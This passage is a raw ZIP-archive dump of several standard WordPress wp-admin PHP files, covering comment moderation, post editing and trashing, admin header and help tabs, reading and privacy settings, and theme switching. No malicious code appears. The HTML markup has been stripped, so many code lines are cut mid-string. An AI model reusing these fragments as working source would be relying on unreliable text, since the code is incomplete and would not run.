$comment_id ); $trashed++; break; case 'untrash': wp_untrash_comment( $comment_id ); $untrashed++; break; case 'delete': wp_delete_comment( $comment_id ); $deleted++; break; } } if ( ! in_array( $doaction, array( 'approve', 'unapprove', 'spam', 'unspam', 'trash', 'delete' ), true ) ) { $screen = get_current_screen()->id; /** This action is documented in wp-admin/edit.php */ $redirect_to = apply_filters( "handle_bulk_actions-{$screen}", $redirect_to, $doaction, $comment_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } wp_defer_comment_counting( false ); if ( $approved ) { $redirect_to = add_query_arg( 'approved', $approved, $redirect_to ); } if ( $unapproved ) { $redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to ); } if ( $spammed ) { $redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to ); } if ( $unspammed ) { $redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to ); } if ( $trashed ) { $redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to ); } if ( $untrashed ) { $redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to ); } if ( $deleted ) { $redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to ); } if ( $trashed || $spammed ) { $redirect_to = add_query_arg( 'ids', implode( ',', $comment_ids ), $redirect_to ); } wp_safe_redirect( $redirect_to ); exit; } elseif ( ! empty( $_GET['_wp_http_referer'] ) ) { wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); exit; } $wp_list_table->prepare_items(); wp_enqueue_script( 'admin-comments' ); enqueue_comment_hotkeys_js(); if ( $post_id ) { $comments_count = wp_count_comments( $post_id ); $draft_or_post_title = wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '…' ); if ( $comments_count->moderated > 0 ) { // Used in the HTML title tag. $title = sprintf( /* translators: 1: Comments count, 2: Post title. */ __( 'Comments (%1$s) on “%2$s”' ), number_format_i18n( $comments_count->moderated ), $draft_or_post_title ); } else { // Used in the HTML title tag. $title = sprintf( /* translators: %s: Post title. */ __( 'Comments on “%s”' ), $draft_or_post_title ); } } else { $comments_count = wp_count_comments(); if ( $comments_count->moderated > 0 ) { // Used in the HTML title tag. $title = sprintf( /* translators: %s: Comments count. */ __( 'Comments (%s)' ), number_format_i18n( $comments_count->moderated ) ); } else { // Used in the HTML title tag. $title = __( 'Comments' ); } } add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the bulk actions.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'moderating-comments', 'title' => __( 'Moderating Comments' ), 'content' => '

' . __( 'A red bar on the left means the comment is waiting for you to moderate it.' ) . '

' . '

' . __( 'In the Author column, in addition to the author’s name, email address, and blog URL, the commenter’s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' ) . '

' . '

' . __( 'In the Comment column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' ) . '

' . '

' . __( 'In the In response to column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post.' ) . '

' . '

' . __( 'In the Submitted on column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site.' ) . '

' . '

' . __( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Comments' ) . '

' . '

' . __( 'Documentation on Comment Spam' ) . '

' . '

' . __( 'Documentation on Keyboard Shortcuts' ) . '

' . '

' . __( 'Support' ) . '

' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter comments list' ), 'heading_pagination' => __( 'Comments list navigation' ), 'heading_list' => __( 'Comments list' ), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

%2$s', get_edit_post_link( $post_id ), wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '…' ) ) ); } else { _e( 'Comments' ); } ?>

%2$s', get_permalink( $post_id ), $post_type_object->labels->view_item ); } } if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo ''; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '' ); echo ''; } ?>

' . $error_msg . '

'; } } if ( isset( $_REQUEST['approved'] ) || isset( $_REQUEST['deleted'] ) || isset( $_REQUEST['trashed'] ) || isset( $_REQUEST['untrashed'] ) || isset( $_REQUEST['spammed'] ) || isset( $_REQUEST['unspammed'] ) || isset( $_REQUEST['same'] ) ) { $approved = isset( $_REQUEST['approved'] ) ? (int) $_REQUEST['approved'] : 0; $deleted = isset( $_REQUEST['deleted'] ) ? (int) $_REQUEST['deleted'] : 0; $trashed = isset( $_REQUEST['trashed'] ) ? (int) $_REQUEST['trashed'] : 0; $untrashed = isset( $_REQUEST['untrashed'] ) ? (int) $_REQUEST['untrashed'] : 0; $spammed = isset( $_REQUEST['spammed'] ) ? (int) $_REQUEST['spammed'] : 0; $unspammed = isset( $_REQUEST['unspammed'] ) ? (int) $_REQUEST['unspammed'] : 0; $same = isset( $_REQUEST['same'] ) ? (int) $_REQUEST['same'] : 0; if ( $approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 || $same > 0 ) { if ( $approved > 0 ) { /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment approved.', '%s comments approved.', $approved ), $approved ); } if ( $spammed > 0 ) { $ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0; /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ), $spammed ) . ' ' . __( 'Undo' ) . '
'; } if ( $unspammed > 0 ) { /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment restored from the spam.', '%s comments restored from the spam.', $unspammed ), $unspammed ); } if ( $trashed > 0 ) { $ids = isset( $_REQUEST['ids'] ) ? $_REQUEST['ids'] : 0; /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment moved to the Trash.', '%s comments moved to the Trash.', $trashed ), $trashed ) . ' ' . __( 'Undo' ) . '
'; } if ( $untrashed > 0 ) { /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment restored from the Trash.', '%s comments restored from the Trash.', $untrashed ), $untrashed ); } if ( $deleted > 0 ) { /* translators: %s: Number of comments. */ $messages[] = sprintf( _n( '%s comment permanently deleted.', '%s comments permanently deleted.', $deleted ), $deleted ); } if ( $same > 0 ) { $comment = get_comment( $same ); if ( $comment ) { switch ( $comment->comment_approved ) { case '1': $messages[] = __( 'This comment is already approved.' ) . ' ' . __( 'Edit comment' ) . ''; break; case 'trash': $messages[] = __( 'This comment is already in the Trash.' ) . ' ' . __( 'View Trash' ) . ''; break; case 'spam': $messages[] = __( 'This comment is already marked as spam.' ) . ' ' . __( 'Edit comment' ) . ''; break; } } } echo '

' . implode( "
\n", $messages ) . '

'; } } ?> views(); ?>
search_box( __( 'Search Comments' ), 'comment' ); ?> display(); ?>
PK@0]B/#/#wp-admin/admin-header.phpnu[site_name ); } elseif ( is_user_admin() ) { /* translators: User dashboard screen title. %s: Network title. */ $admin_title = sprintf( __( 'User Dashboard: %s' ), get_network()->site_name ); } else { $admin_title = get_bloginfo( 'name' ); } if ( $admin_title === $title ) { /* translators: Admin screen title. %s: Admin screen name. */ $admin_title = sprintf( __( '%s — WordPress' ), $title ); } else { $screen_title = $title; if ( 'post' === $current_screen->base && 'add' !== $current_screen->action ) { $post_title = get_the_title(); if ( ! empty( $post_title ) ) { $post_type_obj = get_post_type_object( $typenow ); $screen_title = sprintf( /* translators: Editor admin screen title. 1: "Edit item" text for the post type, 2: Post title. */ __( '%1$s “%2$s”' ), $post_type_obj->labels->edit_item, $post_title ); } } /* translators: Admin screen title. 1: Admin screen name, 2: Network or site name. */ $admin_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $screen_title, $admin_title ); } if ( wp_is_recovery_mode() ) { /* translators: %s: Admin screen title. */ $admin_title = sprintf( __( 'Recovery Mode — %s' ), $admin_title ); } /** * Filters the title tag content for an admin page. * * @since 3.1.0 * * @param string $admin_title The page title, with extra context added. * @param string $title The original page title. */ $admin_title = apply_filters( 'admin_title', $admin_title, $title ); wp_user_settings(); _wp_admin_html_begin(); ?> <?php echo esc_html( $admin_title ); ?> post_type ) { $admin_body_class .= ' post-type-' . $current_screen->post_type; } if ( $current_screen->taxonomy ) { $admin_body_class .= ' taxonomy-' . $current_screen->taxonomy; } $admin_body_class .= ' branch-' . str_replace( array( '.', ',' ), '-', (float) get_bloginfo( 'version' ) ); $admin_body_class .= ' version-' . str_replace( '.', '-', preg_replace( '/^([.0-9]+).*/', '$1', get_bloginfo( 'version' ) ) ); $admin_body_class .= ' admin-color-' . sanitize_html_class( get_user_option( 'admin_color' ), 'fresh' ); $admin_body_class .= ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_user_locale() ) ) ); if ( wp_is_mobile() ) { $admin_body_class .= ' mobile'; } if ( is_multisite() ) { $admin_body_class .= ' multisite'; } if ( is_network_admin() ) { $admin_body_class .= ' network-admin'; } $admin_body_class .= ' no-customize-support no-svg'; if ( $current_screen->is_block_editor() ) { $admin_body_class .= ' block-editor-page wp-embed-responsive'; } $error_get_last = error_get_last(); // Print a CSS class to make PHP errors visible. if ( $error_get_last && WP_DEBUG && WP_DEBUG_DISPLAY && ini_get( 'display_errors' ) // Don't print the class for PHP notices in wp-config.php, as they happen before WP_DEBUG takes effect, // and should not be displayed with the `error_reporting` level previously set in wp-load.php. && ( E_NOTICE !== $error_get_last['type'] || 'wp-config.php' !== wp_basename( $error_get_last['file'] ) ) ) { $admin_body_class .= ' php-error'; } unset( $error_get_last ); ?>
set_parentage( $parent_file ); ?>
render_screen_meta(); if ( is_network_admin() ) { /** * Prints network admin screen notices. * * @since 3.1.0 */ do_action( 'network_admin_notices' ); } elseif ( is_user_admin() ) { /** * Prints user admin screen notices. * * @since 3.1.0 */ do_action( 'user_admin_notices' ); } else { /** * Prints admin screen notices. * * @since 3.1.0 */ do_action( 'admin_notices' ); } /** * Prints generic admin screen notices. * * @since 3.1.0 */ do_action( 'all_admin_notices' ); if ( 'options-general.php' === $parent_file ) { require ABSPATH . 'wp-admin/options-head.php'; } PK@0]=Tr'r'wp-admin/post.phpnu[post_type; $post_type_object = get_post_type_object( $post_type ); } if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) { wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 ); } if ( isset( $_POST['deletepost'] ) ) { $action = 'delete'; } elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' === $_POST['wp-preview'] ) { $action = 'preview'; } $sendback = wp_get_referer(); if ( ! $sendback || false !== strpos( $sendback, 'post.php' ) || false !== strpos( $sendback, 'post-new.php' ) ) { if ( 'attachment' === $post_type ) { $sendback = admin_url( 'upload.php' ); } else { $sendback = admin_url( 'edit.php' ); if ( ! empty( $post_type ) ) { $sendback = add_query_arg( 'post_type', $post_type, $sendback ); } } } else { $sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback ); } switch ( $action ) { case 'post-quickdraft-save': // Check nonce and capabilities. $nonce = $_REQUEST['_wpnonce']; $error_msg = false; // For output of the Quick Draft dashboard widget. require_once ABSPATH . 'wp-admin/includes/dashboard.php'; if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) { $error_msg = __( 'Unable to submit this form, please refresh and try again.' ); } if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { exit; } if ( $error_msg ) { return wp_dashboard_quick_press( $error_msg ); } $post = get_post( $_REQUEST['post_ID'] ); check_admin_referer( 'add-' . $post->post_type ); $_POST['comment_status'] = get_default_comment_status( $post->post_type ); $_POST['ping_status'] = get_default_comment_status( $post->post_type, 'pingback' ); // Wrap Quick Draft content in the Paragraph block. if ( false === strpos( $_POST['content'], '' ) ) { $_POST['content'] = sprintf( '%s', str_replace( array( "\r\n", "\r", "\n" ), '
', $_POST['content'] ) ); } edit_post(); wp_dashboard_quick_press(); exit; case 'postajaxpost': case 'post': check_admin_referer( 'add-' . $post_type ); $post_id = 'postajaxpost' === $action ? edit_post() : write_post(); redirect_post( $post_id ); exit; case 'edit': $editing = true; if ( empty( $post_id ) ) { wp_redirect( admin_url( 'post.php' ) ); exit; } if ( ! $post ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } if ( ! $post_type_object ) { wp_die( __( 'Invalid post type.' ) ); } if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ), true ) ) { wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) ); } if ( ! current_user_can( 'edit_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to edit this item.' ) ); } if ( 'trash' === $post->post_status ) { wp_die( __( 'You cannot edit this item because it is in the Trash. Please restore it and try again.' ) ); } if ( ! empty( $_GET['get-post-lock'] ) ) { check_admin_referer( 'lock-post_' . $post_id ); wp_set_post_lock( $post_id ); wp_redirect( get_edit_post_link( $post_id, 'url' ) ); exit; } $post_type = $post->post_type; if ( 'post' === $post_type ) { $parent_file = 'edit.php'; $submenu_file = 'edit.php'; $post_new_file = 'post-new.php'; } elseif ( 'attachment' === $post_type ) { $parent_file = 'upload.php'; $submenu_file = 'upload.php'; $post_new_file = 'media-new.php'; } else { if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) { $parent_file = $post_type_object->show_in_menu; } else { $parent_file = "edit.php?post_type=$post_type"; } $submenu_file = "edit.php?post_type=$post_type"; $post_new_file = "post-new.php?post_type=$post_type"; } $title = $post_type_object->labels->edit_item; /** * Allows replacement of the editor. * * @since 4.9.0 * * @param bool $replace Whether to replace the editor. Default false. * @param WP_Post $post Post object. */ if ( true === apply_filters( 'replace_editor', false, $post ) ) { break; } if ( use_block_editor_for_post( $post ) ) { require ABSPATH . 'wp-admin/edit-form-blocks.php'; break; } if ( ! wp_check_post_lock( $post->ID ) ) { $active_post_lock = wp_set_post_lock( $post->ID ); if ( 'attachment' !== $post_type ) { wp_enqueue_script( 'autosave' ); } } $post = get_post( $post_id, OBJECT, 'edit' ); if ( post_type_supports( $post_type, 'comments' ) ) { wp_enqueue_script( 'admin-comments' ); enqueue_comment_hotkeys_js(); } require ABSPATH . 'wp-admin/edit-form-advanced.php'; break; case 'editattachment': check_admin_referer( 'update-post_' . $post_id ); // Don't let these be changed. unset( $_POST['guid'] ); $_POST['post_type'] = 'attachment'; // Update the thumbnail filename. $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = wp_basename( $_POST['thumb'] ); wp_update_attachment_metadata( $post_id, $newmeta ); // Intentional fall-through to trigger the edit_post() call. case 'editpost': check_admin_referer( 'update-post_' . $post_id ); $post_id = edit_post(); // Session cookie flag that the post was saved. if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) { setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() ); } redirect_post( $post_id ); // Send user on their way while we keep working. exit; case 'trash': check_admin_referer( 'trash-post_' . $post_id ); if ( ! $post ) { wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) ); } if ( ! $post_type_object ) { wp_die( __( 'Invalid post type.' ) ); } if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) ); } $user_id = wp_check_post_lock( $post_id ); if ( $user_id ) { $user = get_userdata( $user_id ); /* translators: %s: User's display name. */ wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) ); } if ( ! wp_trash_post( $post_id ) ) { wp_die( __( 'Error in moving the item to Trash.' ) ); } wp_redirect( add_query_arg( array( 'trashed' => 1, 'ids' => $post_id, ), $sendback ) ); exit; case 'untrash': check_admin_referer( 'untrash-post_' . $post_id ); if ( ! $post ) { wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) ); } if ( ! $post_type_object ) { wp_die( __( 'Invalid post type.' ) ); } if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) ); } if ( ! wp_untrash_post( $post_id ) ) { wp_die( __( 'Error in restoring the item from Trash.' ) ); } $sendback = add_query_arg( array( 'untrashed' => 1, 'ids' => $post_id, ), $sendback ); wp_redirect( $sendback ); exit; case 'delete': check_admin_referer( 'delete-post_' . $post_id ); if ( ! $post ) { wp_die( __( 'This item has already been deleted.' ) ); } if ( ! $post_type_object ) { wp_die( __( 'Invalid post type.' ) ); } if ( ! current_user_can( 'delete_post', $post_id ) ) { wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); } if ( 'attachment' === $post->post_type ) { $force = ( ! MEDIA_TRASH ); if ( ! wp_delete_attachment( $post_id, $force ) ) { wp_die( __( 'Error in deleting the attachment.' ) ); } } else { if ( ! wp_delete_post( $post_id, true ) ) { wp_die( __( 'Error in deleting the item.' ) ); } } wp_redirect( add_query_arg( 'deleted', 1, $sendback ) ); exit; case 'preview': check_admin_referer( 'update-post_' . $post_id ); $url = post_preview(); wp_redirect( $url ); exit; case 'toggle-custom-fields': check_admin_referer( 'toggle-custom-fields', 'toggle-custom-fields-nonce' ); $current_user_id = get_current_user_id(); if ( $current_user_id ) { $enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true ); update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields ); } wp_safe_redirect( wp_get_referer() ); exit; default: /** * Fires for a given custom post action request. * * The dynamic portion of the hook name, `$action`, refers to the custom post action. * * @since 4.6.0 * * @param int $post_id Post ID sent with the request. */ do_action( "post_action_{$action}", $post_id ); wp_redirect( admin_url( 'edit.php' ) ); exit; } // End switch. require_once ABSPATH . 'wp-admin/admin-footer.php'; PK@0]}-  wp-admin/admin-footer.phpnu[
PK@0]&Dl wp-admin/media-upload.phpnu[' . __( 'Something went wrong.' ) . '' . '

' . __( 'Invalid item ID.' ) . '

', 403 ); } if ( ! empty( $_REQUEST['post_id'] ) && ! current_user_can( 'edit_post', $_REQUEST['post_id'] ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to edit this item.' ) . '

', 403 ); } // Upload type: image, video, file, ...? if ( isset( $_GET['type'] ) ) { $type = (string) $_GET['type']; } else { /** * Filters the default media upload type in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $type The default media upload type. Possible values include * 'image', 'audio', 'video', 'file', etc. Default 'file'. */ $type = apply_filters( 'media_upload_default_type', 'file' ); } // Tab: gallery, library, or type-specific. if ( isset( $_GET['tab'] ) ) { $tab = (string) $_GET['tab']; } else { /** * Filters the default tab in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param string $tab The default media popup tab. Default 'type' (From Computer). */ $tab = apply_filters( 'media_upload_default_tab', 'type' ); } $body_id = 'media-upload'; // Let the action code decide how to handle the request. if ( 'type' === $tab || 'type_url' === $tab || ! array_key_exists( $tab, media_upload_tabs() ) ) { /** * Fires inside specific upload-type views in the legacy (pre-3.5.0) * media popup based on the current tab. * * The dynamic portion of the hook name, `$type`, refers to the specific * media upload type. * * The hook only fires if the current `$tab` is 'type' (From Computer), * 'type_url' (From URL), or, if the tab does not exist (i.e., has not * been registered via the {@see 'media_upload_tabs'} filter. * * Possible hook names include: * * - `media_upload_audio` * - `media_upload_file` * - `media_upload_image` * - `media_upload_video` * * @since 2.5.0 */ do_action( "media_upload_{$type}" ); } else { /** * Fires inside limited and specific upload-tab views in the legacy * (pre-3.5.0) media popup. * * The dynamic portion of the hook name, `$tab`, refers to the specific * media upload tab. Possible values include 'library' (Media Library), * or any custom tab registered via the {@see 'media_upload_tabs'} filter. * * @since 2.5.0 */ do_action( "media_upload_{$tab}" ); } PK@0]XXJ&&wp-admin/options-reading.phpnu[add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen contains the settings that affect the display of your content.' ) . '

' . '

' . sprintf( /* translators: %s: URL to create a new page. */ __( 'You can choose what’s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two Pages. One will become the homepage, and the other will be where your posts are displayed.' ), 'post-new.php?post_type=page' ) . '

' . '

' . sprintf( /* translators: %s: Documentation URL. */ __( 'You can also control the display of your content in RSS feeds, including the maximum number of posts to display and whether to show full text or an excerpt. Learn more about feeds.' ), __( 'https://wordpress.org/support/article/wordpress-feeds/' ) ) . '

' . '

' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '

', ) ); get_current_screen()->add_help_tab( array( 'id' => 'site-visibility', 'title' => has_action( 'blog_privacy_selector' ) ? __( 'Site visibility' ) : __( 'Search engine visibility' ), 'content' => '

' . __( 'You can choose whether or not your site will be crawled by robots, ping services, and spiders. If you want those services to ignore your site, click the checkbox next to “Discourage search engines from indexing this site” and click the Save Changes button at the bottom of the screen.' ) . '

' . '

' . __( 'Note that even when set to discourage search engines, your site is still visible on the web and not all search engines adhere to this directive.' ) . '

' . '

' . __( 'When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, “Search engines discouraged”, to remind you that you have directed search engines to not crawl your site.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Reading Settings' ) . '

' . '

' . __( 'Support' ) . '

' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

'blog_charset' ) ); } ?>
PK@0] wp-admin/load-styles.phpnu[registered ) ) { continue; } $style = $wp_styles->registered[ $handle ]; if ( empty( $style->src ) ) { continue; } $path = ABSPATH . $style->src; if ( $rtl && ! empty( $style->extra['rtl'] ) ) { // All default styles have fully independent RTL files. $path = str_replace( '.min.css', '-rtl.min.css', $path ); } $content = get_file( $path ) . "\n"; if ( strpos( $style->src, '/' . WPINC . '/css/' ) === 0 ) { $content = str_replace( '../images/', '../' . WPINC . '/images/', $content ); $content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content ); $content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content ); $out .= $content; } else { $out .= str_replace( '../images/', 'images/', $content ); } } header( "Etag: $wp_version" ); header( 'Content-Type: text/css; charset=UTF-8' ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' ); header( "Cache-Control: public, max-age=$expires_offset" ); echo $out; exit; PK@0]M!u'u'wp-admin/options-privacy.phpnu[add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'The Privacy screen lets you either build a new privacy-policy page or choose one you already have to show.' ) . '

' . '

' . __( 'This screen includes suggestions to help you write your own privacy policy. However, it is your responsibility to use these resources correctly, to provide the information required by your privacy policy, and to keep this information current and accurate.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Privacy Settings' ) . '

' ); if ( ! empty( $action ) ) { check_admin_referer( $action ); if ( 'set-privacy-page' === $action ) { $privacy_policy_page_id = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0; update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id ); $privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' ); if ( $privacy_policy_page_id ) { /* * Don't always link to the menu customizer: * * - Unpublished pages can't be selected by default. * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities. * - Themes might not "officially" support menus. */ if ( 'publish' === get_post_status( $privacy_policy_page_id ) && current_user_can( 'edit_theme_options' ) && current_theme_supports( 'menus' ) ) { $privacy_page_updated_message = sprintf( /* translators: %s: URL to Customizer -> Menus. */ __( 'Privacy Policy page setting updated successfully. Remember to update your menus!' ), esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) ) ); } } add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', $privacy_page_updated_message, 'success' ); } elseif ( 'create-privacy-page' === $action ) { if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php'; } $privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content(); $privacy_policy_page_id = wp_insert_post( array( 'post_title' => __( 'Privacy Policy' ), 'post_status' => 'draft', 'post_type' => 'page', 'post_content' => $privacy_policy_page_content, ), true ); if ( is_wp_error( $privacy_policy_page_id ) ) { add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', __( 'Unable to create a Privacy Policy page.' ), 'error' ); } else { update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id ); wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) ); exit; } } } // If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error. $privacy_policy_page_exists = false; $privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( ! empty( $privacy_policy_page_id ) ) { $privacy_policy_page = get_post( $privacy_policy_page_id ); if ( ! $privacy_policy_page instanceof WP_Post ) { add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', __( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ), 'error' ); } else { if ( 'trash' === $privacy_policy_page->post_status ) { add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', sprintf( /* translators: %s: URL to Pages Trash. */ __( 'The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or restore the current page.' ), 'edit.php?post_status=trash&post_type=page' ), 'error' ); } else { $privacy_policy_page_exists = true; } } } $parent_file = 'options-general.php'; wp_enqueue_script( 'privacy-tools' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

$privacy_policy_page_id, 'action' => 'edit', ), admin_url( 'post.php' ) ); $view_href = get_permalink( $privacy_policy_page_id ); ?> Edit or view your Privacy Policy page content.' ), esc_url( $edit_href ), esc_url( $view_href ) ); } else { printf( /* translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy Policy page. */ __( 'Edit or preview your Privacy Policy page content.' ), esc_url( $edit_href ), esc_url( $view_href ) ); } ?> Check out our Privacy Policy guide%3$s for recommendations on what content to include, along with policies suggested by your plugins and theme.' ), esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ), '', '' ); ?>


'page', 'posts_per_page' => 1, 'post_status' => array( 'publish', 'draft', ), ) ); ?>
' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '

', 403 ); } if ( current_user_can( 'switch_themes' ) && isset( $_GET['action'] ) ) { if ( 'activate' === $_GET['action'] ) { check_admin_referer( 'switch-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! $theme->exists() || ! $theme->is_allowed() ) { wp_die( '

' . __( 'Something went wrong.' ) . '

' . '

' . __( 'The requested theme does not exist.' ) . '

', 403 ); } switch_theme( $theme->get_stylesheet() ); wp_redirect( admin_url( 'themes.php?activated=true' ) ); exit; } elseif ( 'resume' === $_GET['action'] ) { check_admin_referer( 'resume-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'resume_theme', $_GET['stylesheet'] ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to resume this theme.' ) . '

', 403 ); } $result = resume_theme( $theme->get_stylesheet(), self_admin_url( 'themes.php?error=resuming' ) ); if ( is_wp_error( $result ) ) { wp_die( $result ); } wp_redirect( admin_url( 'themes.php?resumed=true' ) ); exit; } elseif ( 'delete' === $_GET['action'] ) { check_admin_referer( 'delete-theme_' . $_GET['stylesheet'] ); $theme = wp_get_theme( $_GET['stylesheet'] ); if ( ! current_user_can( 'delete_themes' ) ) { wp_die( '

' . __( 'You need a higher level of permission.' ) . '

' . '

' . __( 'Sorry, you are not allowed to delete this item.' ) . '

', 403 ); } if ( ! $theme->exists() ) { wp_die( '

' . __( 'Something went wrong.' ) . '

' . '

' . __( 'The requested theme does not exist.' ) . '

